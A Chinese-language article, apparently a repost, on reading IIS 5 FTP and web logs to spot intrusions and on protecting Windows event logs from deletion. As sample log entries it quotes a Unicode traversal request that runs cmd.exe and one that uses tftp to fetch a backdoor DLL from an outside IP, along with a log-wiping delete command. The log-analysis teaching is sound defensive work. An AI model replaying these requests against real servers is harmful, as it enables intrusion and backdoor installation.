典型入侵日志分析

1.FTP日志分析

  FTP日志和WWW日志在默认情况下,每天生成一个日志文件,包含了该日的一切记录,文件名通常为ex(年份)(月份)(日期)。例如ex040419,就是2004年4月19日产生的日志,用记事本可直接打开,普通的有入侵行为的日志一般是这样的:

#Software: Microsoft Internet Information Services 5.0(微软IIS5.0)

#Version: 1.0 (版本1.0)

#Date: 20040419 0315 (服务启动时间日期)

#Fields: time cip csmethod csuristem scstatus

0315 127.0.0.1 [1]USER administator 331(IP地址为127.0.0.1用户名为administator试图登录)

0318 127.0.0.1 [1]PASS – 530(登录失败)

032:04 127.0.0.1 [1]USER nt 331(IP地址为127.0.0.1用户名为nt的用户试图登录)

032:06 127.0.0.1 [1]PASS – 530(登录失败)

032:09 127.0.0.1 [1]USER cyz 331(IP地址为127.0.0.1用户名为cyz的用户试图登录)

0322 127.0.0.1 [1]PASS – 530(登录失败)

0322 127.0.0.1 [1]USER administrator 331(IP地址为127.0.0.1用户名为administrator试图登录)

0324 127.0.0.1 [1]PASS – 230(登录成功)

0321 127.0.0.1 [1]MKD nt 550(新建目录失败)

0325 127.0.0.1 [1]QUIT – 550(退出FTP程序)

  从日志里就能看出IP地址为127.0.0.1的用户一直试图登录系统,换了四次用户名和密码才成功,管理员立即就可以得知这个IP至少有入侵企图!而他的入侵时间、IP地址以及探测的用户名都很清楚的记录在日志上。如上例入侵者最终是用Administrator用户名进入的,那么就要考虑此用户名是不是密码失窃?还是被别人利用?接下来就要想想系统出什么问题了。

  2.WWW日志分析

  WWW服务同FTP服务一样,产生的日志也是在%systemroot%\sys tem32\LogFiles\W3SVC1目录下,默认是每天一个日志文件。这里需要特别说明一下,因为Web的日志和其他日志不同,它的分析要细致得多,需要管理员有丰富的入侵、防护知识,并且要足够的细心,不然,很容易遗漏那种很简单的日志,而通常这样的日志又是非常关键的。由于我们不可能一个一个分析,所以这里举个简单例子:

#Software: Microsoft Internet Information Services 5.0

#Version: 1.0

#Date: 20040419 03:091

#Fields: date time cip csusername sip sport csmethod csuristem csuriquery scstatus cs(UserAgent)

20040419 03:091 192.168.1.26 192.168.1.37 80 GET /iisstart.asp 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)

20040419 03:094 192.168.1.26 192.168.1.37 80 GET /pagerror.gif 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)

  通过分析第六行,可以看出2004年5月19日,IP地址为192.168.1.26的用户通过访问IP地址为192.168.1.37机器的80端口,查看了一个页面iisstart.asp,这位用户的浏览器为compatible;+MSIE+5.0;+Windows+98+DigExt,有经验的管理员就可通过安全日志、FTP日志和WWW日志来确定入侵者的IP地址以及入侵时间。

  对现在非常常见的SQL注入式攻击,通过对put、get的检查,也可以大概判断是那个页面出了问题,从而修补。

3.HTTPD事务日志的分析

  Microsoft的IIS 5自公布到现在,被黑客利用的漏洞多不胜数,像.ida/.idq、unicode、WebDavx3和一些未知的漏洞,我们分析日志的目的就是为了分析黑客入侵的行为,对于没有打好补丁包的系统被黑客成功入侵的日志记录分别对应如下。为了给大家介绍一个比较醒目的介绍,专门配置了个“古老”的服务器,用旧漏洞给大家做个演示,很容易触类旁通就懂其它了。

  (1)unicode漏洞入侵日志记录

  这个是个非常经典的漏洞了,要找这样的服务器估计得去国外慢慢找了,但是因为它的日志是最经典的一个,所以我们这里特别拿它来做个示范。

  我们打开IIS5的Web服务的日志文件,日志文件默认位置在%systemroot%\system32\LogFiles\文件夹下,如图1所示是一个典型的Unicode漏洞入侵行为的日志记录,对于正常的Web访问,是通过80端口用GET命令获取Web数据,但通过非法的字符编码可绕过字符验证而得到不应该得到的信息。但补上相应的补丁可堵上此漏洞。如图一所示。

  我们配合入侵来看下这样的记录:通过下面的编码我们在入侵的时候可以查看目标机的目录文件:

GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200

  则日志中会记录下此访问行为:

2004-04-19 08:47:47 192.168.0.1 - 192.168.0.218 80 GET

/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe

/c+dir 200 -

  看到了吗?我们的日志中记录地一清二楚,来自192.168.0.1的攻击者查看我们的目录。下面一行是向我们的机器传送后门程序的日志记录:

2004-04-19 08:47:47 192.168.0.1 - 192.168.0.218 80 GET

/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe

/c+tftp%20-i%2061.48.10.129%20GET%20cool.dll%20c:\httpodbc.dll

502 –

  看到了吧?记录非常详细的,系统里面那个程序在响应都记录了下来,这样我们分析入侵行为就好办了。

  (2)WebDavx3远程溢出日志记录

  过去一段时间有名的Wevdavx3漏洞是应用最广泛的,如果系统遭受了此远程溢出的攻击行为,则日志记录如图二所示。

2004-04-19 07:20:13 192.168.0.218 - 192.168.0.218 80 LOCK

/AAAAA……

  这表示我们的Web服务受到了来自192.168.0.218的攻击,并锁定(即关闭)了WEB服务,后面的一些乱码字符是在溢出攻击时使用的偏移位猜过程。

  上面的几种日杂都记录了有入侵行为的IP地址,但此IP地址说不定就是攻击者使用了跳板,也就是说此IP很可能是“肉鸡”而不是攻击者的IP,遇到这样的情况,我们再查看其他日志文件,还是有可能追查出攻击者的位置的,但这个就完全靠管理员的经验了。

  4.日志文件的移位保护

  通过上面的几个方法,大家应该可以检测普通的系统攻击了,但话说回来,如果上面的攻击任何一个成功了,那现在我们都看不到日志了,早被入侵者清空了,所以,为了防患于未然,我们还是针对常见的删除日志的方法,把日志挪挪吧。

  好多文章介绍对事件日志移位能做到对系统系统很好的保护,移位虽是一种保护方法,但只要在命令行输入dir c:\*.evt/s,一下就可查找到事件日志位置,再删除可容易了,那怎么办呢?其实日志移位要通过修改注册表来完成,找到注册表HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\ Services\Eventlog下面的Application、Security、System几个子键,分别对应“应用程序日志”、“安全日志”、“系统日志”。如何修改呢?下面我们具体来看看Application子键:File项就是“应用程序日志”文件存放的位置,把此键值改为要存放日志文件的文件夹,我们再把%systemroot%\system32\config\appevent.evt文件拷贝到此文件夹,再重启机器就可以了。

  在此介绍移位的目的是为了充分利用Windows 2000在NTFS格式下的“安全”属性,如果不移位也无法对文件进行安全设置操作,右击移位后的“文件夹选择属性”,进入“安全”选项卡,不选择“允许将来自父系的可继承权限传播给该对象”,添加“System”组,分别给Everyone组“读取”权限,System组选择除“完全控制”和“修改”的权限。然后再将系统默认的日志文件512KB大小改为你所想要的大小,如20MB。进行了上面的设置后,直接通过Del C:\*.Evt/s/q来删除是删不掉的,相对要安全很多了。

(0)

相关推荐

  • 神器!最佳 Nginx 日志分析工具 GoAccess

    使用方法有两种,可以用 XShell 或 Putty 上去命令查看,也可以生成 html 报告. 下面介绍GoAccess 在 CentOS 上的安装方法: 1. 需要安装 GeoIP, ncurses, glib2, 一句搞定 复制代码 代码如下: #yum -y install glib2 glib2-devel ncurses ncurses-devel GeoIP GeoIP-devel 2. 下载 GoAccess 解压编译安装 复制代码 代码如下: # wget http://dow

  • Linux下apache日志分析与状态查看方法

    假设apache日志格式为:118.78.199.98 – - [09/Jan/2010:00:59:59 +0800] "GET /Public/Css/index.css HTTP/1.1″ 304 – "http://www.a.cn/common/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.3)" 问题1:在apachelog中找出访问次数最多的1

  • 简单高效:用Swatch做Linux日志分析

    日志文件是我们发现系统问题的重要参考信息. 大部分的系统服务出现问题时都会给syslogd(系统日志守护进程)发送消息. 然后用户发觉并根据错误提示信息采取行动. 然而对于1000行以上的日志文件, 我们必须使用日志检查工具节省时间和避免漏掉重要信息. Swatch从字面上可以简单理解为Watcher(守护者). 其它的日志分析软件定期地扫描日志文件, 向你报告系统已经发生的问题或者状况. Swatch程序不仅能够做这些, 而且它能够像Syslogd守护程序那样主动的扫描日志文件并对特定的日志消

  • php IIS日志分析搜索引擎爬虫记录程序第1/2页

    使用注意: 修改iis.php文件中iis日志的绝对路径 例如:$folder="c:/windows/system32/logfiles/站点日志目录/"; //后面记得一定要带斜杠(/). ( 用虚拟空间的不懂查看你的站点绝对路径?上传个探针查看! 直接查看法:http://站点域名/iis.php 本地查看法:把日志下载到本地 http://127.0.0.1/iis.php ) 注意: //站点日志目录,注意该目录必须要有站点用户读取权限! //如果把日志下载到本地请修改143

  • AWStats简介:Apache/IIS的日志分析工具

    你完全不必耐心看完所有内容:简要安装说明如下安装http://sourceforge.net/projects/awstats/ 下载安装包后:GNU/Linux:tar zxf awstats-version.tgzawstats的脚本和静态文件缺省都在wwwroot目录下:将cgi-bin目录下的文件都部署到 cgi-bin/目录下:/home/apache/cgi-bin/awstats/ mv awstats-version/cgi-bin /path/to/apache/cgi-bin

  • 典型入侵日志分析

    1.FTP日志分析 FTP日志和WWW日志在默认情况下,每天生成一个日志文件,包含了该日的一切记录,文件名通常为ex(年份)(月份)(日期).例如ex040419,就是2004年4月19日产生的日志,用记事本可直接打开,普通的有入侵行为的日志一般是这样的: #Software: Microsoft Internet Information Services 5.0(微软IIS5.0) #Version: 1.0 (版本1.0) #Date: 20040419 0315 (服务启动时间日期) #F

  • MySQL慢查询优化之慢查询日志分析的实例教程

    数据库响应慢问题最多的就是查询了.现在大部分数据库都提供了性能分析的帮助手段.例如Oracle中会帮你直接找出慢的语句,并且提供优化方案.在MySQL中就要自己开启慢日志记录加以分析(记录可以保存在表或者文件中,默认是保存在文件中,我们系统使用的就是默认方式). 先看看MySQL慢查询日志里面的记录长什么样的: Time Id Command Argument # Time: 141010 9:33:57 # User@Host: root[root] @ localhost [] Id: 1

  • python实现apahce网站日志分析示例

    维护脚本一例,写得有点乱,只是作为一个实例,演示如何快速利用工具快速达到目的:应用到:shell与python数据交互.数据抓取,编码转换 复制代码 代码如下: #coding:utf-8#!/usr/bin/python'''程序说明:apache access.log日志分析 分析访问网站IP 来源情况 日期:2014-01-06 17:01 author:gyh9711 程序说明:应用到:shell与python数据交互.数据抓取,编码转换'''import osimport jsonim

  • Shell日志分析常用命令和例子

    学会用shell分析日志只要一上午!!! 很多地方分享了日志分析的shell脚本,但是基本没说每个命令符的具体含义,学习成本还是很高,在这里总结下,方便大家快速入门. 1.在Windows下的用户要使用shell命令符的话请先安装cygwin,安装方法自行Google(搜技术问题请使用google,百度搜不到活该) 2.下面粗略介绍下SEO日志分析常用的命令符用法,需要详细了解每个命令符请使用Google. less 文件名 查看文件内容 按"q" 退出 cat 文件名 打开文件,可以

  • Node.js和MongoDB实现简单日志分析系统

    在最近的项目中,为了便于分析把项目的日志都存成了JSON格式.之前日志直接存在了文件中,而MongoDB适时闯入了我的视线,于是就把log存进了MongoDB中.log只存起来是没有意义的,最关键的是要从日志中发现业务的趋势.系统的性能漏洞等.之前有一个用Java写的分析模块,运行在Tomcat下.实现相当的重量级,添加一个新指标的流程也比较繁琐,而且由于NFS的原因还导致分析失败.一直想改写,最初想用Ruby On Rails,可是一直没有时间学习和开发(在找借口啊!).在杭州QCon 201

  • Java虚拟机GC日志分析

    本文研究的主要是Java虚拟机中gc日志的理解问题,具体如下. 一.日志分析 理解GC日志是处理Java虚拟机内存问题的基本技能. 通过在java命令种加入参数来指定对应的gc类型,打印gc日志信息并输出至文件等策略. 1.编写java代码 public class ReferenceCountingGC { public Object instance = null; private static final int ONE_MB = 1024 * 1024; private byte[] b

  • 关于Mysql通用查询日志和慢查询日志分析

    MySQL中的日志包括:错误日志.二进制日志.通用查询日志.慢查询日志等等.这里主要介绍下比较常用的两个功能:通用查询日志和慢查询日志. 1.通用查询日志:记录建立的客户端连接和执行的语句. 2.慢查询日志:记录所有执行时间超过longquerytime秒的所有查询或者不使用索引的查询 一.通用查询日志 在学习通用日志查询时,需要知道两个数据库中的常用命令: 1) show variables like '%general%'; 可以查看,当前的通用日志查询是否开启,如果general_log的

  • Docker安装ELK并实现JSON格式日志分析的方法

    ELK是什么 ELK是elastic公司提供的一套完整的日志收集以及前端展示的解决方案,是三个产品的首字母缩写,分别是ElasticSearch.Logstash和Kibana. 其中Logstash负责对日志进行处理,如日志的过滤.日志的格式化等:ElasticSearch具有强大的文本搜索能力,因此作为日志的存储容器:而Kibana负责前端的展示. ELK搭建架构如下图: 加入了filebeat用于从不同的客户端收集日志,然后传递到Logstash统一处理. ELK的搭建 因为ELK是三个产

  • Nginx状态监控以及日志分析详解

    1.Nginx状态监控 Nginx提供了一个内置的状态信息监控页面可用于监控Nginx的整体访问情况,这个功能由ngx_http_stub_status_module模块进行实现. 使用nginx -V 2>&1 | grep -o with-http_stub_status_module命令检测当前Nginx是否有status功能,如果输出ngx_http_stub_status_module则说明是有的,如果没有可以在编译时加上此模块. 默认情况下,status是关闭的,我们需要开启,并

随机推荐